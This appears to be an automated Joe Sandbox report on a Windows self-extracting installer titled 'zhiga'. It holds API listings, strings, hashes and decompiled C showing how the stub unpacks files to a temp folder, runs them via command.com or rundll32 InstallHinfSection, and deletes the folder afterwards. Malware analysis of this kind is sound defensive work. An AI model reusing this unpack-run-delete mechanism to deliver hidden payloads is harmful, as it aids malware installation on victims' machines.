0x01093efa
0x01093efb
0x01093efd
0x01093f40
0x00000000
0x01093eff
0x01093eff
0x01093f05
0x00000000
0x01093f05
0x01093efd
0x01093dc7
0x01093dce
0x00000000
0x00000000
0x01093dd0
0x01093dd7
0x00000000
0x00000000
0x01093dd9
0x01093ddb
0x00000000
0x00000000
0x01093ddd
0x01093de1
0x00000000
0x01093de1
0x01093d59
0x01093d65
0x01093d6a
0x01093d6c
0x00000000
0x00000000
0x01093d6e
0x01093d75
0x00000000
0x00000000
0x01093d8f
0x01093d96
0x01093d98
0x00000000
0x00000000
0x00000000
0x01093d98
0x01093c8f
0x01093c98
0x01093cf1
0x01093cf3
0x00000000
0x00000000
0x01093cfe
0x01093d11
0x00000000
0x00000000
0x00000000
0x01093d11
0x01093c9c
0x01093ca5
0x01093ca7
0x00000000
0x00000000
0x01093cad
0x01093cb2
0x01093cb7
0x01093cc5
0x00000000
0x00000000
0x01093ce8
0x01093cec
0x01093ced
0x01093ced
0x00000000
0x01093ce8
0x01093c9e
0x00000000
0x01093c9e
0x01093c56
0x01093d35
0x01093d35
0x01093d3c
0x01093d48
0x00000000
0x01093d48
0x01093c03
0x01093be2
0x01093be7
0x01093bee
0x00000000
0x00000000
0x00000000
0x00000000

APIs

memset.MSVCRT ref: 01093C11
CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,00000004), ref: 01093CDC

Part of subcall function 0109468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010946A0
Part of subcall function 0109468F: SizeofResource.KERNEL32(00000000,00000000,?,01092D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010946A9
Part of subcall function 0109468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010946C3
Part of subcall function 0109468F: LoadResource.KERNEL32(00000000,00000000,?,01092D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010946CC
Part of subcall function 0109468F: LockResource.KERNEL32(00000000,?,01092D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010946D3
Part of subcall function 0109468F: memcpy_s.MSVCRT ref: 010946E5
Part of subcall function 0109468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 010946EF

CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,?,01098C42), ref: 01093D8F
GetProcAddress.KERNEL32(00000000,DoInfInstall), ref: 01093E26
FreeLibrary.KERNEL32(00000000,?,01098C42), ref: 01093EFF
LocalFree.KERNEL32(?,?,?,?,01098C42), ref: 01093F1F
FreeLibrary.KERNEL32(00000000,?,01098C42), ref: 01093F40
LocalFree.KERNEL32(?,?,?,?,01098C42), ref: 01093F47
FreeLibrary.KERNEL32(00000000,DoInfInstall,00000000,00000010,00000000,?,01098C42), ref: 01093F76
LocalFree.KERNEL32(?,advpack.dll,00000000,00000010,00000000,?,?,?,01098C42), ref: 01093F80
LocalFree.KERNEL32(?,00000000,00000000,00000010,00000000,?,?,?,01098C42), ref: 01093FC2

Strings

D, xrefs: 01093C19
advpack.dll, xrefs: 01093F9D
RUNPROGRAM, xrefs: 01093D05
POSTRUNPROGRAM, xrefs: 01093D60
USRQCMD, xrefs: 01093CAD
DoInfInstall, xrefs: 01093E1F, 01093E24, 01093F68
SHOWWINDOW, xrefs: 01093C34
REBOOT, xrefs: 01093BE2
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 01093E74
zhiga, xrefs: 01093E68
<None>, xrefs: 01093CC9, 01093D7D
ADMQCMD, xrefs: 01093C9E

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: Free$Resource$Local$Library$CompareFindString$AddressLoadLockProcSizeofmemcpy_smemset
String ID: <None>$ADMQCMD$C:\Users\user\AppData\Local\Temp\IXP001.TMP\$D$DoInfInstall$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$USRQCMD$advpack.dll$zhiga
API String ID: 1032054927-520995012
Opcode ID: 928438a335adb94c5b4f0adf845605f7a3830888952500c76b0f2b1e4d92f22d
Instruction ID: 8882e38562ba6b0442406df992e850cd2fbe2a13ae9b500486c4c47e5ebc8905
Opcode Fuzzy Hash: 928438a335adb94c5b4f0adf845605f7a3830888952500c76b0f2b1e4d92f22d
Instruction Fuzzy Hash: DDB1E4B06083019BEF70AF38947576B7AE4FB84714F00495DFAD5DA290D7798800EF96

Uniqueness

Uniqueness Score: -1.00%

Function 01091AE8 Relevance: 38.8, APIs: 10, Strings: 12, Instructions: 291
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E01091AE8(long __ecx, CHAR** _a4, int* _a8) {
				signed int _v8;
				char _v268;
				char _v527;
				char _v528;
				char _v1552;
				CHAR* _v1556;
				int* _v1560;
				CHAR** _v1564;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t48;
				CHAR* _t53;
				CHAR* _t54;
				char* _t57;
				char* _t58;
				CHAR* _t60;
				void* _t62;
				signed char _t65;
				intOrPtr _t76;
				intOrPtr _t77;
				unsigned int _t85;
				CHAR* _t90;
				CHAR* _t92;
				char _t105;
				char _t106;
				CHAR** _t111;
				CHAR* _t115;
				intOrPtr* _t125;
				void* _t126;
				CHAR* _t132;
				CHAR* _t135;
				void* _t138;
				void* _t139;
				void* _t145;
				intOrPtr* _t146;
				char* _t148;
				CHAR* _t151;
				void* _t152;
				CHAR* _t155;
				CHAR* _t156;
				void* _t157;
				signed int _t158;

				_t48 =  *0x1098004; // 0x8a9c601
				_v8 = _t48 ^ _t158;
				_t108 = __ecx;
				_v1564 = _a4;
				_v1560 = _a8;
				E01091680( &_v528, 0x104, __ecx);
				if(_v528 != 0x22) {
					_t135 = " ";
					_t53 =  &_v528;
				} else {
					_t135 = "\"";
					_t53 =  &_v527;
				}
				_t111 =  &_v1556;
				_v1556 = _t53;
				_t54 = E01091A84(_t111, _t135);
				_t156 = _v1556;
				_t151 = _t54;
				if(_t156 == 0) {
					L12:
					_push(_t111);
					E01091781( &_v268, 0x104, _t111, "C:\Users\alfons\AppData\Local\Temp\IXP001.TMP\");
					E0109658A( &_v268, 0x104, _t156);
					goto L13;
				} else {
					_t132 = _t156;
					_t148 =  &(_t132[1]);
					do {
						_t105 =  *_t132;
						_t132 =  &(_t132[1]);
					} while (_t105 != 0);
					_t111 = _t132 - _t148;
					if(_t111 < 3) {
						goto L12;
					}
					_t106 = _t156[1];
					if(_t106 != 0x3a || _t156[2] != 0x5c) {
						if( *_t156 != 0x5c || _t106 != 0x5c) {
							goto L12;
						} else {
							goto L11;
						}
					} else {
						L11:
						E01091680( &_v268, 0x104, _t156);
						L13:
						_t138 = 0x2e;
						_t57 = E010966C8(_t156, _t138);
						if(_t57 == 0 || CompareStringA(0x7f, 1, _t57, 0xffffffff, ".INF", 0xffffffff) != 0) {
							_t139 = 0x2e;
							_t115 = _t156;
							_t58 = E010966C8(_t115, _t139);
							if(_t58 == 0 || CompareStringA(0x7f, 1, _t58, 0xffffffff, ".BAT", 0xffffffff) != 0) {
								_t156 = LocalAlloc(0x40, 0x400);
								if(_t156 == 0) {
									goto L43;
								}
								_t65 = GetFileAttributesA( &_v268); // executed
								if(_t65 == 0xffffffff || (_t65 & 0x00000010) != 0) {
									E01091680( &_v1552, 0x400, _t108);
								} else {
									_push(_t115);
									_t108 = 0x400;
									E01091781( &_v1552, 0x400, _t115,  &_v268);
									if(_t151 != 0 &&  *_t151 != 0) {
										E010916B3( &_v1552, 0x400, " ");
										E010916B3( &_v1552, 0x400, _t151);
									}
								}
								_t140 = _t156;
								 *_t156 = 0;
								E01092AAC( &_v1552, _t156, _t156);
								goto L53;
							} else {
								_t108 = "Command.com /c %s";
								_t125 = "Command.com /c %s";
								_t145 = _t125 + 1;
								do {
									_t76 =  *_t125;
									_t125 = _t125 + 1;
								} while (_t76 != 0);
								_t126 = _t125 - _t145;
								_t146 =  &_v268;
								_t157 = _t146 + 1;
								do {
									_t77 =  *_t146;
									_t146 = _t146 + 1;
								} while (_t77 != 0);
								_t140 = _t146 - _t157;
								_t154 = _t126 + 8 + _t146 - _t157;
								_t156 = LocalAlloc(0x40, _t126 + 8 + _t146 - _t157);
								if(_t156 != 0) {
									E0109171E(_t156, _t154, "Command.com /c %s",  &_v268);
									goto L53;
								}
								goto L43;
							}
						} else {
							_t85 = GetFileAttributesA( &_v268);
							if(_t85 == 0xffffffff || ( !(_t85 >> 4) & 0x00000001) == 0) {
								_t140 = 0x525;
								_push(0);
								_push(0x10);
								_push(0);
								_t60 =  &_v268;
								goto L35;
							} else {
								_t140 = "[";
								_v1556 = _t151;
								_t90 = E01091A84( &_v1556, "[");
								if(_t90 != 0) {
									if( *_t90 != 0) {
										_v1556 = _t90;
									}
									_t140 = "]";
									E01091A84( &_v1556, "]");
								}
								_t156 = LocalAlloc(0x40, 0x200);
								if(_t156 == 0) {
									L43:
									_t60 = 0;
									_t140 = 0x4b5;
									_push(0);
									_push(0x10);
									_push(0);
									L35:
									_push(_t60);
									E010944B9(0, _t140);
									_t62 = 0;
									goto L54;
								} else {
									_t155 = _v1556;
									_t92 = _t155;
									if( *_t155 == 0) {
										_t92 = "DefaultInstall";
									}
									 *0x1099120 = GetPrivateProfileIntA(_t92, "Reboot", 0,  &_v268);
									 *_v1560 = 1;
									if(GetPrivateProfileStringA("Version", "AdvancedINF", 0x1091140, _t156, 8,  &_v268) == 0) {
										 *0x1099a34 =  *0x1099a34 & 0xfffffffb;
										if( *0x1099a40 != 0) {
											_t108 = "setupapi.dll";
										} else {
											_t108 = "setupx.dll";
											GetShortPathNameA( &_v268,  &_v268, 0x104);
										}
										if( *_t155 == 0) {
											_t155 = "DefaultInstall";
										}
										_push( &_v268);
										_push(_t155);
										E0109171E(_t156, 0x200, "rundll32.exe %s,InstallHinfSection %s 128 %s", _t108);
									} else {
										 *0x1099a34 =  *0x1099a34 | 0x00000004;
										if( *_t155 == 0) {
											_t155 = "DefaultInstall";
										}
										E01091680(_t108, 0x104, _t155);
										_t140 = 0x200;
										E01091680(_t156, 0x200,  &_v268);
									}
									L53:
									_t62 = 1;
									 *_v1564 = _t156;
									L54:
									_pop(_t152);
									return E01096CE0(_t62, _t108, _v8 ^ _t158, _t140, _t152, _t156);
								}
							}
						}
					}
				}
			}

0x01091af3
0x01091afa
0x01091b07
0x01091b09
0x01091b1a
0x01091b20
0x01091b2c
0x01091b3b
0x01091b40
0x01091b2e
0x01091b2e
0x01091b33
0x01091b33
0x01091b46
0x01091b4c
0x01091b52
0x01091b57
0x01091b5d
0x01091b61
0x01091b9f
0x01091b9f
0x01091bb1
0x01091bc2
0x00000000
0x01091b63
0x01091b63
0x01091b65
0x01091b68
0x01091b68
0x01091b6a
0x01091b6b
0x01091b6f
0x01091b74
0x00000000
0x00000000
0x01091b76
0x01091b7b
0x01091b86
0x00000000
0x00000000
0x00000000
0x00000000
0x01091b8c
0x01091b8c
0x01091b98
0x01091bc7
0x01091bc9
0x01091bcc
0x01091bd3
0x01091d75
0x01091d76
0x01091d78
0x01091d7f
0x01091e05
0x01091e09
0x00000000
0x00000000
0x01091e12
0x01091e1b
0x01091e73
0x01091e21
0x01091e21
0x01091e28
0x01091e37
0x01091e3e
0x01091e52
0x01091e60
0x01091e60
0x01091e3e
0x01091e79
0x01091e7b
0x01091e84
0x00000000
0x01091d9b
0x01091d9b
0x01091da0
0x01091da2
0x01091da5
0x01091da5
0x01091da7
0x01091da8
0x01091dac
0x01091dae
0x01091db4
0x01091db7
0x01091db7
0x01091db9
0x01091dba
0x01091dbe
0x01091dc3
0x01091dce
0x01091dd2
0x01091deb
0x00000000
0x01091df0
0x00000000
0x01091dd2
0x01091bf7
0x01091bfe
0x01091c07
0x01091d55
0x01091d5a
0x01091d5b
0x01091d5d
0x01091d5e
0x00000000
0x01091c1b
0x01091c1b
0x01091c20
0x01091c2c
0x01091c33
0x01091c38
0x01091c3a
0x01091c3a
0x01091c40
0x01091c4b
0x01091c4b
0x01091c5d
0x01091c61
0x01091dd4
0x01091dd4
0x01091dd6
0x01091ddb
0x01091ddc
0x01091dde
0x01091d64
0x01091d64
0x01091d67
0x01091d6c
0x00000000
0x01091c67
0x01091c67
0x01091c6d
0x01091c72
0x01091c74
0x01091c74
0x01091c8e
0x01091c99
0x01091cc0
0x01091cf8
0x01091d07
0x01091d23
0x01091d09
0x01091d14
0x01091d1b
0x01091d1b
0x01091d2b
0x01091d2d
0x01091d2d
0x01091d38
0x01091d39
0x01091d46
0x01091cc2
0x01091cc2
0x01091ccc
0x01091cce
0x01091cce
0x01091cdb
0x01091ce6
0x01091cee
0x01091cee
0x01091e89
0x01091e91
0x01091e92
0x01091e94
0x01091e97
0x01091ea4
0x01091ea4
0x01091c61
0x01091c07
0x01091bd3
0x01091b7b

APIs

CompareStringA.KERNEL32(0000007F,00000001,00000000,000000FF,.INF,000000FF,?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,?,00000000,00000001,00000000), ref: 01091BE7
GetFileAttributesA.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,?,00000000,00000001,00000000), ref: 01091BFE
LocalAlloc.KERNEL32(00000040,00000200,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,?,00000000,00000001,00000000), ref: 01091C57
GetPrivateProfileIntA.KERNEL32 ref: 01091C88
GetPrivateProfileStringA.KERNEL32(Version,AdvancedINF,01091140,00000000,00000008,?), ref: 01091CB8
GetShortPathNameA.KERNEL32 ref: 01091D1B

Part of subcall function 010944B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 01094518
Part of subcall function 010944B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 01094554

Strings

Reboot, xrefs: 01091C82
", xrefs: 01091B25
DefaultInstall, xrefs: 01091C74, 01091C87, 01091CCE, 01091CD3, 01091D2D, 01091D39
AdvancedINF, xrefs: 01091CAE
setupx.dll, xrefs: 01091D14
Version, xrefs: 01091CB3
.BAT, xrefs: 01091D83
setupapi.dll, xrefs: 01091D23, 01091D3A
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 01091BA0
Command.com /c %s, xrefs: 01091D9B, 01091DE8
.INF, xrefs: 01091BDB
rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 01091D3B

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: String$PrivateProfile$AllocAttributesCompareFileLoadLocalMessageNamePathShort
String ID: "$.BAT$.INF$AdvancedINF$C:\Users\user\AppData\Local\Temp\IXP001.TMP\$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 383838535-2869639027
Opcode ID: 31a1495d453c88f823dd1052db4722443735e7034d927fea75c94bd974d3278c
Instruction ID: 93f18bef850c0bd014b17b6ffa77520aea88c79e9fc20a9ec90df018fdfd5c87
Opcode Fuzzy Hash: 31a1495d453c88f823dd1052db4722443735e7034d927fea75c94bd974d3278c
Instruction Fuzzy Hash: 4AA16EB0B0020B6BEF61AB28CC74BEA77A9AB55330F1442D9E5D5A32C0DB758D85DB50

Uniqueness

Uniqueness Score: -1.00%

Function 01092F1D Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 120
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E01092F1D(void* __ecx, int __edx) {
				signed int _v8;
				char _v272;
				_Unknown_base(*)()* _v276;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t9;
				void* _t11;
				struct HWND__* _t12;
				void* _t14;
				int _t21;
				signed int _t22;
				signed int _t25;
				intOrPtr* _t26;
				signed int _t27;
				void* _t30;
				_Unknown_base(*)()* _t31;
				void* _t34;
				struct HINSTANCE__* _t36;
				intOrPtr _t41;
				intOrPtr* _t44;
				signed int _t46;
				int _t47;
				void* _t58;
				void* _t59;

				_t43 = __edx;
				_t9 =  *0x1098004; // 0x8a9c601
				_v8 = _t9 ^ _t46;
				if( *0x1098a38 != 0) {
					L5:
					_t11 = E01095164(_t52);
					_t53 = _t11;
					if(_t11 == 0) {
						L16:
						_t12 = 0;
						L17:
						return E01096CE0(_t12, _t36, _v8 ^ _t46, _t43, _t44, _t45);
					}
					_t14 = E010955A0(_t53); // executed
					if(_t14 == 0) {
						goto L16;
					} else {
						_t45 = 0x105;
						GetSystemDirectoryA( &_v272, 0x105);
						_t43 = 0x105;
						_t40 =  &_v272;
						E0109658A( &_v272, 0x105, "advapi32.dll");
						_t36 = LoadLibraryA( &_v272);
						_t44 = 0;
						if(_t36 != 0) {
							_t31 = GetProcAddress(_t36, "DecryptFileA");
							_v276 = _t31;
							if(_t31 != 0) {
								_t45 = _t47;
								_t40 = _t31;
								 *0x109a288("C:\Users\alfons\AppData\Local\Temp\IXP001.TMP\", 0); // executed
								_v276();
								if(_t47 != _t47) {
									_t40 = 4;
									asm("int 0x29");
								}
							}
						}
						FreeLibrary(_t36);
						_t58 =  *0x1098a24 - _t44; // 0x0
						if(_t58 != 0) {
							L14:
							_t21 = SetCurrentDirectoryA("C:\Users\alfons\AppData\Local\Temp\IXP001.TMP\"); // executed
							if(_t21 != 0) {
								__eflags =  *0x1098a2c - _t44; // 0x0
								if(__eflags != 0) {
									L20:
									__eflags =  *0x1098d48 & 0x000000c0;
									if(( *0x1098d48 & 0x000000c0) == 0) {
										_t41 =  *0x1099a40; // 0x3, executed
										_t26 = E0109256D(_t41); // executed
										_t44 = _t26;
									}
									_t22 =  *0x1098a24; // 0x0
									 *0x1099a44 = _t44;
									__eflags = _t22;
									if(_t22 != 0) {
										L26:
										__eflags =  *0x1098a38;
										if( *0x1098a38 == 0) {
											__eflags = _t22;
											if(__eflags == 0) {
												E01094169(__eflags);
											}
										}
										_t12 = 1;
										goto L17;
									} else {
										__eflags =  *0x1099a30 - _t22; // 0x0
										if(__eflags != 0) {
											goto L26;
										}
										_t25 = E01093BA2(); // executed
										__eflags = _t25;
										if(_t25 == 0) {
											goto L16;
										}
										_t22 =  *0x1098a24; // 0x0
										goto L26;
									}
								}
								_t27 = E01093B26(_t40, _t44);
								__eflags = _t27;
								if(_t27 == 0) {
									goto L16;
								}
								goto L20;
							}
							_t43 = 0x4bc;
							E010944B9(0, 0x4bc, _t44, _t44, 0x10, _t44);
							 *0x1099124 = E01096285();
							goto L16;
						}
						_t59 =  *0x1099a30 - _t44; // 0x0
						if(_t59 != 0) {
							goto L14;
						}
						_t30 = E0109621E(); // executed
						if(_t30 == 0) {
							goto L16;
						}
						goto L14;
					}
				}
				_t49 =  *0x1098a24;
				if( *0x1098a24 != 0) {
					L4:
					_t34 = E01093A3F(_t51);
					_t52 = _t34;
					if(_t34 == 0) {
						goto L16;
					}
					goto L5;
				}
				if(E010951E5(_t49) == 0) {
					goto L16;
				}
				_t51 =  *0x1098a38;
				if( *0x1098a38 != 0) {
					goto L5;
				}
				goto L4;
			}

0x01092f1d
0x01092f28
0x01092f2f
0x01092f3d
0x01092f6c
0x01092f6c
0x01092f71
0x01092f73
0x01093041
0x01093041
0x01093043
0x01093053
0x01093053
0x01092f79
0x01092f80
0x00000000
0x01092f86
0x01092f86
0x01092f93
0x01092f9e
0x01092fa0
0x01092fa6
0x01092fb8
0x01092fba
0x01092fbe
0x01092fc6
0x01092fcc
0x01092fd4
0x01092fd6
0x01092fd8
0x01092fe0
0x01092fe6
0x01092fee
0x01092ff0
0x01092ff5
0x01092ff5
0x01092fee
0x01092fd4
0x01092ff8
0x01092ffe
0x01093004
0x01093017
0x0109301c
0x01093024
0x01093054
0x0109305a
0x01093065
0x01093065
0x0109306c
0x0109306e
0x01093075
0x0109307a
0x0109307a
0x0109307c
0x01093081
0x01093087
0x01093089
0x010930a1
0x010930a1
0x010930a9
0x010930ab
0x010930ad
0x010930af
0x010930af
0x010930ad
0x010930b6
0x00000000
0x0109308b
0x0109308b
0x01093091
0x00000000
0x00000000
0x01093093
0x01093098
0x0109309a
0x00000000
0x00000000
0x0109309c
0x00000000
0x0109309c
0x01093089
0x0109305c
0x01093061
0x01093063
0x00000000
0x00000000
0x00000000
0x01093063
0x0109302b
0x01093032
0x0109303c
0x00000000
0x0109303c
0x01093006
0x0109300c
0x00000000
0x00000000
0x0109300e
0x01093015
0x00000000
0x00000000
0x00000000
0x01093015
0x01092f80
0x01092f3f
0x01092f46
0x01092f5f
0x01092f5f
0x01092f64
0x01092f66
0x00000000
0x00000000
0x00000000
0x01092f66
0x01092f4f
0x00000000
0x00000000
0x01092f55
0x01092f5d
0x00000000
0x00000000
0x00000000

APIs

GetSystemDirectoryA.KERNEL32 ref: 01092F93
LoadLibraryA.KERNEL32(?,advapi32.dll), ref: 01092FB2
GetProcAddress.KERNEL32(00000000,DecryptFileA), ref: 01092FC6
DecryptFileA.ADVAPI32 ref: 01092FE6
FreeLibrary.KERNEL32(00000000), ref: 01092FF8
SetCurrentDirectoryA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 0109301C

Part of subcall function 010951E5: LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,01092F4D,?,00000002,00000000), ref: 01095201

Strings

DecryptFileA, xrefs: 01092FC0
advapi32.dll, xrefs: 01092F99
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 01092FDB, 01093017

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: DirectoryLibrary$AddressAllocCurrentDecryptFileFreeLoadLocalProcSystem
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$DecryptFileA$advapi32.dll
API String ID: 2126469477-1274120739
Opcode ID: 47f987bfd8271eaadfb840f0126b9e451a1c88e81ddcd889653f835347872f6b
Instruction ID: 18aed90339131e12a786073032ce717d1f423bea3772f2d7ffb9fafd21c47746
Opcode Fuzzy Hash: 47f987bfd8271eaadfb840f0126b9e451a1c88e81ddcd889653f835347872f6b
Instruction Fuzzy Hash: EA41ED30A002059AEF71AB799D786AA37E8FB85754F0041AAFAC1C6155EB7EC580EF50

Uniqueness

Uniqueness Score: -1.00%

Function 01092390 Relevance: 12.1, APIs: 8, Instructions: 93
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E01092390(CHAR* __ecx) {
				signed int _v8;
				char _v276;
				char _v280;
				char _v284;
				struct _WIN32_FIND_DATAA _v596;
				struct _WIN32_FIND_DATAA _v604;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t21;
				int _t36;
				void* _t46;
				void* _t62;
				void* _t63;
				CHAR* _t65;
				void* _t66;
				signed int _t67;
				signed int _t69;

				_t69 = (_t67 & 0xfffffff8) - 0x254;
				_t21 =  *0x1098004; // 0x8a9c601
				_t22 = _t21 ^ _t69;
				_v8 = _t21 ^ _t69;
				_t65 = __ecx;
				if(__ecx == 0 ||  *((char*)(__ecx)) == 0) {
					L10:
					_pop(_t62);
					_pop(_t66);
					_pop(_t46);
					return E01096CE0(_t22, _t46, _v8 ^ _t69, _t58, _t62, _t66);
				} else {
					E01091680( &_v276, 0x104, __ecx);
					_t58 = 0x104;
					E010916B3( &_v280, 0x104, "*");
					_t22 = FindFirstFileA( &_v284,  &_v604); // executed
					_t63 = _t22;
					if(_t63 == 0xffffffff) {
						goto L10;
					} else {
						goto L3;
					}
					do {
						L3:
						_t58 = 0x104;
						E01091680( &_v276, 0x104, _t65);
						if((_v604.ftCreationTime & 0x00000010) == 0) {
							_t58 = 0x104;
							E010916B3( &_v276, 0x104,  &(_v596.dwReserved1));
							SetFileAttributesA( &_v280, 0x80);
							DeleteFileA( &_v280);
						} else {
							if(lstrcmpA( &(_v596.dwReserved1), ".") != 0 && lstrcmpA( &(_v596.cFileName), "..") != 0) {
								E010916B3( &_v276, 0x104,  &(_v596.cFileName));
								_t58 = 0x104;
								E0109658A( &_v280, 0x104, 0x1091140);
								E01092390( &_v284);
							}
						}
						_t36 = FindNextFileA(_t63,  &_v596); // executed
					} while (_t36 != 0);
					FindClose(_t63); // executed
					_t22 = RemoveDirectoryA(_t65); // executed
					goto L10;
				}
			}

0x01092398
0x0109239e
0x010923a3
0x010923a5
0x010923ae
0x010923b3
0x010924cb
0x010924d2
0x010924d3
0x010924d4
0x010924df
0x010923c2
0x010923d1
0x010923db
0x010923e4
0x010923f6
0x010923fc
0x01092401
0x00000000
0x00000000
0x00000000
0x00000000
0x01092407
0x01092407
0x01092408
0x01092411
0x0109241f
0x0109247a
0x01092483
0x01092495
0x010924a3
0x01092421
0x0109242f
0x01092453
0x0109245d
0x01092466
0x01092472
0x01092472
0x0109242f
0x010924af
0x010924b5
0x010924be
0x010924c5
0x00000000
0x010924c5

APIs

FindFirstFileA.KERNELBASE(?,01098A3A,010911F4,01098A3A,00000000,?,?), ref: 010923F6
lstrcmpA.KERNEL32(?,010911F8), ref: 01092427
lstrcmpA.KERNEL32(?,010911FC), ref: 0109243B
SetFileAttributesA.KERNEL32(?,00000080,?), ref: 01092495
DeleteFileA.KERNEL32(?), ref: 010924A3
FindNextFileA.KERNELBASE(00000000,00000010), ref: 010924AF
FindClose.KERNELBASE(00000000), ref: 010924BE
RemoveDirectoryA.KERNELBASE(01098A3A), ref: 010924C5

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: File$Find$lstrcmp$AttributesCloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 836429354-0
Opcode ID: 941eec77298e03acd90467eb9e8367e9d3f2435520f59fc466e0e3e7994ffcb9
Instruction ID: 7584819bc9e9aada24f9b7b9b7742d5b1485a02d31a09df1fb879602f589b790
Opcode Fuzzy Hash: 941eec77298e03acd90467eb9e8367e9d3f2435520f59fc466e0e3e7994ffcb9
Instruction Fuzzy Hash: 4E31A371704741ABDB30DA64CC68AEB77ECBBC4311F04492EA5D587280EF3895099751

Uniqueness

Uniqueness Score: -1.00%

Function 01092BFB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E01092BFB(struct HINSTANCE__* _a4, intOrPtr _a12) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t4;
				void* _t6;
				intOrPtr _t7;
				void* _t9;
				struct HINSTANCE__* _t12;
				intOrPtr* _t17;
				signed char _t19;
				intOrPtr* _t21;
				void* _t22;
				void* _t24;
				intOrPtr _t32;

				_t4 = GetVersion();
				if(_t4 >= 0 && _t4 >= 6) {
					_t12 = GetModuleHandleW(L"Kernel32.dll");
					if(_t12 != 0) {
						_t21 = GetProcAddress(_t12, "HeapSetInformation");
						if(_t21 != 0) {
							_t17 = _t21;
							 *0x109a288(0, 1, 0, 0);
							 *_t21();
							_t29 = _t24 - _t24;
							if(_t24 != _t24) {
								_t17 = 4;
								asm("int 0x29");
							}
						}
					}
				}
				_t20 = _a12;
				_t18 = _a4;
				 *0x1099124 = 0;
				if(E01092CAA(_a4, _a12, _t29, _t17) != 0) {
					_t9 = E01092F1D(_t18, _t20); // executed
					_t22 = _t9; // executed
					E010952B6(0, _t18, _t21, _t22); // executed
					if(_t22 != 0) {
						_t32 =  *0x1098a3a; // 0x0
						if(_t32 == 0) {
							_t19 =  *0x1099a2c; // 0x0
							if((_t19 & 0x00000001) != 0) {
								E01091F90(_t19, _t21, _t22);
							}
						}
					}
				}
				_t6 =  *0x1098588; // 0x0
